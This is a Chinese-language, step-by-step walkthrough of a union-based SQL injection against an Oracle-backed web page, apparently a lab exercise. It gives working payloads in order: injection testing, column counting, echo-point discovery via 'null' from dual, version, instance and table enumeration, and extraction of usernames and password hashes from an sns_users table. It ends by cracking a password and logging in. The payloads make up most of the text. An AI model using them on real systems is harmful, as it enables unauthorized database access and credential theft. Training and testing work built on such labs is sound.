1.判断注入点
这⾥通过and 1=1 和and 1=2进⾏判断。
and 1=2时报错 说明存在sql注入
2.判断字段数
id=1 order by 2 当字段数=2时 页面显示正常
id=1 order by 3 当字段数=3时 页面不正常 说明只存在两个字段
3.寻找回显点
因为oracle数据库与mysql数据库不同点在于它对 于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取回显点。这里使用union selec t ‘null’,‘null’查询
id=-1 union select 'null','null' from dual 可以在页面看到回显点
4.查询数据库版本信息
id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual
可以看到数据库的版本信息
5.查询数据库名
id=-1 union select 'null',(select instance_name from V$INSTANCE) from dual
6.查询数据库表名,查询表名⼀般查询admin或者user表
查询第一张表 表名为LOGMNR_SESSION_EVOLVE$
id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual
查询第二张表 表名为LOGMNR_GLOBAL$
id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual
7.查询字段名信息
id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual
可以查到第一个字段名是USER_NAME
8.查询用户名和密码信息
查到第一个用户和密码信息 但不是我们想要的数据
id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
查第二个用户信息 也不是我们想要的信息
id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'
查看第三个用户信息 是我们需要的信息
id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME <> 'hu'
9.对密码部分进行解密
使用在线解密网站对密码进行解密
可以看到解密后密码为435927
10.使用获取的信息进行登录
用户名mozhe 密码 435927